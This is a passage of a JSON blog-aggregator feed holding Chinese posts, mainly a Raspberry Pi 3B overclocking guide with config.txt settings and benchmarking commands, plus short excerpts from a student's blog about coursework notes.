important\"\u003e2\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"token file-descriptor important\"\u003e\u0026amp;1\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e机器人目录下打开终端(\u003cstrong\u003e注意要在虚拟环境下\u003c/strong\u003e)\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003enb run\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003cstrong\u003eAccepted!好耶\u003c/strong\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/ec36/"},{"title":"树莓派3B超频初尝试","time":"2021-05-11T09:56:35Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"树莓派3B初尝试\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/80ca/#%E6%A0%91%E8%8E%93%E6%B4%BE3B%E5%88%9D%E5%B0%9D%E8%AF%95\" class=\"headerlink\" title=\"树莓派3B初尝试\"\u003e\u003c/a\u003e树莓派3B初尝试\u003c/h1\u003e\u003cp\u003e\u003cstrong\u003e确保 供电 一定要够!!!\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e确保 供电 一定要够!!!\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e确保 供电 一定要够!!!\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e参考文档\u003c/strong\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e \u003ca href=\"https://qcsunny.github.io/2017/09-02-%E6%A0%91%E8%8E%93%E6%B4%BE3B%E4%B9%8BCPUGPU%E5%92%8C%E5%86%85%E5%AD%98%E8%B6%85%E9%A2%91%E7%A8%B3%E5%AE%9A%E6%80%A7%E6%B5%8B%E8%AF%95/\"\u003e树莓派3B之CPUGPU和内存超频稳定性测试\u003c/a\u003e\u003c/p\u003e\u003cp\u003e \u003ca href=\"https://www.jianshu.com/p/53e85e3f2547\"\u003e树莓派3B超频指南\u003c/a\u003e\u003c/p\u003e\u003cp\u003e \u003ca href=\"https://blog.csdn.net/kxwinxp/article/details/78514024\"\u003e树莓派3B+ 开启超频\u003c/a\u003e\u003c/p\u003e\u003cp\u003e \u003ca href=\"https://zhuanlan.zhihu.com/p/137745265\"\u003e树莓派固件更新(rpi-update)的那些坑\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"更新最新固件\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/80ca/#%E6%9B%B4%E6%96%B0%E6%9C%80%E6%96%B0%E5%9B%BA%E4%BB%B6\" class=\"headerlink\" title=\"更新最新固件\"\u003e\u003c/a\u003e更新最新固件\u003c/h2\u003e\u003cp\u003e\u003cdel\u003e博客上这么写的更新就行\u003c/del\u003e\u003c/p\u003e\u003cp\u003e\u003ccode\u003erpi-update\u003c/code\u003e是一个用于更新树莓派固件的工具,可以通过\u003ccode\u003eapt get install rpi-update\u003c/code\u003e来安装\u003c/p\u003e\u003cp\u003e一般来说直接执行下面的命令就可以更新固件,\u003cstrong\u003e然而并不行\u003c/strong\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003esudo\u003c/span\u003e rpi-update\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e直接更新固件的方法:\u003cstrong\u003e亲测可行\u003c/strong\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-none\"\u003e\u003ccode class=\"language-none\"\u003esudo UPDATE_SELF=0 rpi-update\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch2 id=\"修改配置文件\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/80ca/#%E4%BF%AE%E6%94%B9%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6\" class=\"headerlink\" title=\"修改配置文件\"\u003e\u003c/a\u003e修改配置文件\u003c/h2\u003e\u003cp\u003e有两种法子:\u003c/p\u003e\u003col\u003e\u003cli\u003eSD卡插电脑,用\u003ccode\u003eNotepad++\u003c/code\u003e修改文件:\u003ccode\u003econfig.txt\u003c/code\u003e\u003c/li\u003e\u003cli\u003e直接在原系统操作\u003ccode\u003esudo nano /boot/config.txt\u003c/code\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e清空里面内容,复制下面内容\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003eover_voltage \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e5\u003c/span\u003earm_freq \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1400\u003c/span\u003ecore_freq \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e500\u003c/span\u003egpu_freq \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e500\u003c/span\u003edtparam \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e sd_overclock \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e100\u003c/span\u003etemp_limit \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e85\u003c/span\u003e\u003cspan class=\"token comment\"\u003e#force_turbo = 1\u003c/span\u003eover_voltage_sdram \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e2\u003c/span\u003esdram_freq \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e600\u003c/span\u003esdram_schmoo \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e 0x02000020\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e解释:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-none\"\u003e\u003ccode class=\"language-none\"\u003eover_voltageCPU/GPU电压,有效值为[-16,8],0对应1.2v,步进为0.025v,超过6需要同时配合force_turbo=1才生效。个人测试是达到5是1.394v,再高的值电压也不再增加。arm_freqARM CPU主频,默认值为1200gpu_freq同时对core_freq,h264_freq,isp_freq, v3d_freq超频,core_freq默认值为400, h264_freq、isp_freq、v3d_freq默认值为300core_freqGPU核心主频,默认400,对内存读写速度有一点好处dtparam=sd_overclock默认50,SD卡超频,该项设置没有危险,默认值低是为了提高兼容性,一般的卡都可以放心调整到100,重启后执行dmesg | grep \u0026#34;mmc0\u0026#34;见mmc0: overclocking to 100000000Hztemp_limit过热保护。默认值为85,过热降频。不建议长期运行在70度以上,高温对芯片寿命影响较大。force_turbo=1时一直运行在高性能模式下,策略为scaling_governor=performance;=0时根据cpu利用率动态调频,默认策略为scaling_governor=ondemand。有五种调节策略: performance/powersave/userspace/ondemand/conservative,可通过以下命令更改策略(必须root用户下)echo conservative \u0026gt; /sys/devices/system/cpu/cpu0/cpufreq/scaling_governorover_voltage_sdram[-16,8],同时设置over_voltage_sdram_c(control),over_voltage_sdram_i(I/O), over_voltage_sdram_p(phy)电压sdram_freq内存工作频率,默认450MHzsdram_schmoo内存部分时序4,3,2,0,0,-2,-2,0,-10,提高性能和稳定性,分别对应如下int8_t dphy_drive_level; // 4..0 -\u0026gt; 34R,40R,48R,60R,80Rint8_t aphy_drive_level; // 4..0 -\u0026gt; 34R,40R,48R,60R,80Rint8_t dram_drive_level; // 4..-1 -\u0026gt; 34R,40R,48R,60R,80R,120Ruint8_t dphy_lpwr_rx; // Non-zero for LPWR_RX in DPHYuint8_t aphy_lpwr_rx; // Non-zero for LPWR_RX in APHYint8_t dll_offset_rd_n; // DLL offset schmoo: Low phase Readint8_t dll_offset_rd_p; // DLL offset schmoo: High phase Readint8_t dll_offset_wr; // DLL offset schmoo: DQ/DQS Writeint8_t dll_offset_addr; // DLL offset schmoo: Address/command\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003cstrong\u003e然后保存,重启\u003c/strong\u003e\u003c/p\u003e\u003ch2 id=\"性能测试、压力测试、状态监测、稳定性测试\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/80ca/#%E6%80%A7%E8%83%BD%E6%B5%8B%E8%AF%95%E3%80%81%E5%8E%8B%E5%8A%9B%E6%B5%8B%E8%AF%95%E3%80%81%E7%8A%B6%E6%80%81%E7%9B%91%E6%B5%8B%E3%80%81%E7%A8%B3%E5%AE%9A%E6%80%A7%E6%B5%8B%E8%AF%95\" class=\"headerlink\" title=\"性能测试、压力测试、状态监测、稳定性测试\"\u003e\u003c/a\u003e性能测试、压力测试、状态监测、稳定性测试\u003c/h2\u003e\u003cp\u003e性能测试\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e表示创建4个线程来寻找 $\\sqrt{20000}$ 以内的质数:\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-none\"\u003e\u003ccode class=\"language-none\"\u003esysbench --num-threads=4 --test=cpu --cpu-max-prime=20000 run\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003eCPU压力测试\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e建议压力测试至少10分钟或以上,无出错/死机\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003esudo\u003c/span\u003e \u003cspan class=\"token function\"\u003eapt\u003c/span\u003e \u003cspan class=\"token function\"\u003einstall\u003c/span\u003e stressstress \u003cspan class=\"token parameter variable\"\u003e-c\u003c/span\u003e \u003cspan class=\"token number\"\u003e4\u003c/span\u003e \u003cspan class=\"token parameter variable\"\u003e-t\u003c/span\u003e 10m \u003cspan class=\"token parameter variable\"\u003e-v\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e查看温度\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003evcgencmd measure_temp\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003eCPU和内存电压\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e \u003cspan class=\"token for-or-select variable\"\u003eid\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e core sdram_c sdram_i sdram_p \u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003edo\u003c/span\u003e \u003cspan class=\"token builtin class-name\"\u003eecho\u003c/span\u003e \u003cspan class=\"token parameter variable\"\u003e-e\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;\u003cspan class=\"token variable\"\u003e$id\u003c/span\u003e:\u003cspan class=\"token entity\" title=\"\\t\"\u003e\\t\u003c/span\u003e\u003cspan class=\"token variable\"\u003e\u003cspan class=\"token variable\"\u003e$(\u003c/span\u003evcgencmd measure_volts $id\u003cspan class=\"token variable\"\u003e)\u003c/span\u003e\u003c/span\u003e\u0026#34;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003edone\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e查看CPU频率(在\u003cstrong\u003e测试\u003c/strong\u003e的时候看,arm项应返回\u003cstrong\u003e1400000\u003c/strong\u003e)\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003esudo\u003c/span\u003e \u003cspan class=\"token function\"\u003ecat\u003c/span\u003e /sys/devices/system/cpu/cpu2/cpufreq/cpuinfo_cur_freq\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003cstrong\u003e要是供电不够测试会挂,所以供电很重要\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e完了~\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/80ca/"}]},{"name":"小北的书夹","email":"","uri":"http://blog.xiaobeo.top/","description":"just so so","article":[{"title":"byd西电","time":"2023-07-12T19:00:00+02:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e就喜欢搞没水没电没网是吧\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://blog.xiaobeo.top/index.php/default/16.html"},{"title":"现代产品设计笔记","time":"2023-07-12T16:14:26+02:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e这里记录的是现代产品设计知识点。现代产品设计为什么要研究现代设计?最主要的是为了创造出更适合人们需求和喜好的产品。现代设计理论是应用科学的思想和方法,使设计更理性、科学、动态和计算机化。这样可以...\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://blog.xiaobeo.top/index.php/default/15.html"},{"title":"微原考试重点","time":"2023-07-12T16:13:56+02:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e微机原理考试重点,就是题库啦!微原考试(考试占比50%)简答题(30分)五道题,看思维导图上内容重点。中断子程序和一般子程序区别,三个区别:调用方式、保护、返回指令。存储器,8086奇偶线选择信...\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://blog.xiaobeo.top/index.php/default/14.html"},{"title":"计算机图形学基础与CAD开发","time":"2023-07-12T16:13:00+02:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e计算机图形学基础与CAD开发;This program prints the ASCIIs(30-90) to the screen.(defun C:PASCII (/ as) ...\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://blog.xiaobeo.top/index.php/default/13.html"},{"title":"机械制造基础笔记","time":"2023-07-12T16:11:54+02:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e机械制造基础考试内容。1 绪论应用机械设备,采用一定的工艺和方法,将产品从一种构思变为实物机械制造过程 ​ 从上面的例子可以看出,要将产品从一种构思变为实物,必须经历下面的过程:1.生...\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://blog.xiaobeo.top/index.php/default/12.html"},{"title":"微机原理笔记","time":"2023-07-12T16:10:00+02:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e单选1.在8086/8088 CPU中,一个最基本的总线读写周期由( )(1)时钟周期(T状态)组成,在T1状态,CPU往总线上发( )(2)信息。(1) A. 1个 B. 2...\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://blog.xiaobeo.top/index.php/default/11.html"},{"title":"vr 展馆","time":"2023-07-12T16:09:00+02:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003evr 展馆这里是计算机设计大赛的一点记录\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://blog.xiaobeo.top/index.php/default/10.html"},{"title":"红色游历小分队---南宁站","time":"2023-07-12T16:07:00+02:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e为庆祝党的百年华诞,深情回顾党的历史,热情讴歌党的光辉业绩,继承和发扬党的光荣传统和优良作风,坚定孩我们的理想信念及激发历史责任感,今天我们去的是广西南宁的南宁博物馆。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://blog.xiaobeo.top/index.php/default/9.html"},{"title":"markdown基本语法","time":"2023-07-12T14:03:00+02:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e第一篇博客用来测试目前网站的markdown基本语法支持。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://blog.xiaobeo.top/index.php/default/6.html"},{"title":"机器人","time":"2023-07-12T13:41:00+02:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e写点笔记关于机器人技术\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://blog.xiaobeo.top/index.php/default/3.html"}]}],"update":"2023-07-20T10:27:56.809421541Z"} \ No newline at end of file